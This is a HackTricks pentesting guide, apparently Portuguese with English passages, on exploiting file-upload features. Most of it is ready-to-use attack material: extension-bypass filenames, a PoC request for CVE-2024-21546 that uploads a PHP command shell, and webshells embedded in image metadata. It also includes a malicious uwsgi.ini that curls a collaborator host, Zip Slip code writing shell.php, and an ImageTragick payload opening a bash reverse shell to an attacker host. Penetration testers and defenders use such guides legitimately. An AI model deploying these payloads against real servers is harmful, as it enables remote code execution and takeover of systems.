Upload de Arquivos

Reading time: 20 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Metodologia Geral de Upload de Arquivos

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass das verificações de extensões

  1. Se aplicável, verifique as extensões anteriores. Teste também usando letras maiúsculas: pHp, .pHP5, .PhAr ...
  2. Verifique adicionar uma extensão válida antes da extensão de execução (use também as extensões anteriores):
  • file.png.php
  • file.png.Php5
  1. Tente adicionar caracteres especiais no final. Você pode usar o Burp para bruteforce todos os caracteres ascii e Unicode. (Nota: você também pode tentar usar as extensões mencionadas anteriormente)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Tente burlar as proteções enganando o parser de extensão do lado do servidor com técnicas como duplicar a extensão ou adicionar dados lixo (bytes null) entre as extensões. Você também pode usar as extensões anteriores para preparar um payload melhor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Adicione outra camada de extensões à checagem anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Tente colocar a extensão de execução antes da extensão válida e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mas não necessariamente terminando em .php, executará código):
  • ex: file.php.png
  1. Uso do NTFS alternate data stream (ADS) no Windows. Nesse caso, um carácter dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "::$data" também pode ser usado para criar arquivos não-vazios. Portanto, adicionar um ponto após esse padrão também pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.").
  2. Tente ultrapassar os limites do nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:

  • Using a valid image MIME and magic header (e.g., PNG’s \x89PNG\r\n\x1a\n).
  • Naming the uploaded file with a PHP extension followed by a dot, e.g., shell.php..
  • The server strips the trailing dot and persists shell.php, which will execute if it’s placed in a web-served directory (default public storage like /storage/files/).

Minimal PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Então acesse o caminho salvo (típico em Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Mitigações:

  • Atualize unisharp/laravel-filemanager para ≥ 2.9.1.
  • Implemente allowlists estritos no lado do servidor e revalide o nome de arquivo persistido.
  • Sirva uploads a partir de locais não executáveis.

Bypass Content-Type, Magic Number, Compression & Resizing

  • Contorne verificações de Content-Type definindo o valor do header Content-Type para: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Contorne a verificação de magic number adicionando no início do arquivo os bytes de uma imagem real (confundir o file command). Ou introduza o shell dentro dos metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se compressão estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas PHP padrão como PHP-GD, as técnicas anteriores não serão úteis. No entanto, você pode usar o PLTE chunk technique defined here para inserir algum texto que vai sobreviver à compressão.
  • Github with the code
  • A página web também pode estar redimensionando a imagem, usando por exemplo as funções PHP-GD imagecopyresized ou imagecopyresampled. Contudo, você pode usar o IDAT chunk technique defined here para inserir algum texto que vai sobreviver à compressão.
  • Github with the code
  • Outra técnica para criar uma payload que sobrevive a um redimensionamento de imagem, usando a função PHP-GD thumbnailImage. No entanto, você pode usar o tEXt chunk technique defined here para inserir algum texto que vai sobreviver à compressão.
  • Github with the code

Other Tricks to check

  • Encontre uma vulnerabilidade para renomear o arquivo já enviado (para mudar a extensão).
  • Encontre uma vulnerabilidade de Local File Inclusion para executar o backdoor.
  • Possível divulgação de informação:
  1. Envie várias vezes (e ao mesmo tempo) o mesmo arquivo com o mesmo nome
  2. Envie um arquivo com o nome de um arquivo ou pasta que já existe
  3. Enviar um arquivo com ".", ".." ou "…" como nome. Por exemplo, no Apache em Windows, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o arquivo com nome "." criará um arquivo chamado "uploads" no diretório "/www/".
  4. Envie um arquivo que possa não ser facilmente deletado, como "…:.jpg" em NTFS. (Windows)
  5. Envie um arquivo no Windows com caracteres inválidos como |<>*?” no nome. (Windows)
  6. Envie um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Tente também fazer upload de um executável (.exe) ou um .html (menos suspeito) que execute código quando aberto acidentalmente pela vítima.

Special extension tricks

Se você estiver tentando enviar arquivos para um servidor PHP, veja o truque .htaccess para executar código.
Se você estiver tentando enviar arquivos para um servidor ASP, veja o truque .config para executar código.

Os arquivos .phar são como os .jar para Java, mas para PHP, e podem ser usados como um arquivo php (executando-os com php, ou incluindo-os dentro de um script...).

A extensão .inc às vezes é usada para arquivos php que são usados apenas para importar arquivos, então, em algum momento, alguém pode ter permitido que esta extensão seja executada.

Jetty RCE

Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter RCE because new *.xml and *.war are automatically processed. Assim, como mencionado na imagem a seguir, envie o arquivo XML para $JETTY_BASE/webapps/ e espere o shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Para uma exploração detalhada desta vulnerabilidade, confira a pesquisa original: uWSGI RCE Exploitation.

Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração .ini. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como @(filename), destina-se a incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para finalidades nefastas como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração .ini é processado.

Considere o seguinte exemplo de um uwsgi.ini malicioso, mostrando vários schemes:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.

É crucial entender a natureza permissiva do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.

wget Envio de Arquivos/SSRF Truque

Em algumas ocasiões você pode descobrir que um servidor está usando wget para download de arquivos e você pode indicar o URL. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. No entanto, essa verificação pode ser contornada.
O comprimento máximo de um filename em linux é 255, no entanto, wget trunca os nomes de arquivo para 236 caracteres. Você pode download a file called "A"*232+".php"+".gif", esse nome de arquivo vai bypassar a verificação (como neste exemplo ".gif" é uma extensão válida) mas wget irá renomear o arquivo para "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Observe que outra opção que você pode estar pensando para contornar essa verificação é fazer o servidor HTTP redirecionar para um arquivo diferente, então a URL inicial passará pela verificação, mas o wget irá baixar o arquivo redirecionado com o novo nome. Isso não vai funcionar a menos que o wget esteja sendo usado com o parâmetro --trust-server-names porque o wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original.

Ferramentas

  • Upload Bypass é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters na testagem de mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.

Corrupting upload indices with snprintf quirks (historical)

Alguns handlers de upload legados que usam snprintf() ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura _FILES. Devido a inconsistências e truncamento no comportamento do snprintf(), um upload cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma rígida (por exemplo, tratando-o como um upload multi-file e tomando ramos inseguros). Embora seja algo raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases mais antigas.

From File upload to other vulnerabilities

Aqui está uma lista top 10 de coisas que você pode conseguir fazendo upload (a partir de here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Extensão do Burp

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Bytes Mágicos do Cabeçalho

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para outros tipos de arquivo.

Zip/Tar File Automatically decompressed Upload

Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas:

Faça upload de um arquivo contendo symlinks para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descomprimir em pastas diferentes

A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra OS-level command execution através de uploads de arquivos maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros ao manipular a funcionalidade de descompressão da aplicação alvo.

Um exploit automatizado para criar tais arquivos está disponível em evilarc on GitHub. A utilidade pode ser usada como mostrado:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Além disso, o symlink trick with evilarc é uma opção. Se o objetivo for atingir um arquivo como /flag.txt, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação.

Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusando da compressão para file spraying

Para mais detalhes veja a postagem original em: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Código PHP é escrito para executar comandos passados pela variável $_REQUEST.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Vários arquivos são criados e um arquivo zip é montado contendo esses arquivos.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, trocando "xxA" por "../" para percorrer diretórios.
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade (ImageMagick , 7.0.1-1) (a partir do exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incorporando PHP Shell em PNG

Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções imagecopyresized e imagecopyresampled do PHP-GD são particularmente relevantes nesse contexto, pois costumam ser usadas para redimensionamento e reamostragem de imagens, respectivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa para alguns casos de uso.

Uma exploração detalhada desta técnica, incluindo sua metodologia e potenciais aplicações, é apresentada no seguinte artigo: "Encoding Web Shells in PNG IDAT chunks". Esse recurso oferece uma compreensão abrangente do processo e de suas implicações.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Arquivos Polyglot

Arquivos polyglot funcionam como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo interessante é um GIFAR, um híbrido que funciona tanto como GIF quanto como um RAR. Esses arquivos não se limitam a essa combinação; pares como GIF e JS ou PPT e JS também são viáveis.

A utilidade central dos polyglots está na sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. Uma prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco de formatos potencialmente perigosos (por exemplo, JS, PHP ou Phar). No entanto, um polyglot, ao cumprir os critérios estruturais de múltiplos formatos, pode furtivamente burlar essas restrições.

Apesar da adaptabilidade, os polyglots enfrentam limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR e um JPEG, o sucesso do upload pode depender da política de extensões do sistema. Se a aplicação for rígida quanto às extensões permitidas, a dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Fazer upload de JSON válidos como se fossem PDF

Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas de this blog post):

  • mmmagic library: Desde que os bytes mágicos %PDF estejam nos primeiros 1024 bytes, ele considera válido (veja exemplo no post)
  • pdflib library: Adicionar um formato PDF falso dentro de um field do JSON faz com que a library considere que é um pdf (veja exemplo no post)
  • file binary: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que ele não consiga parsear o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai considerar como PDF

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks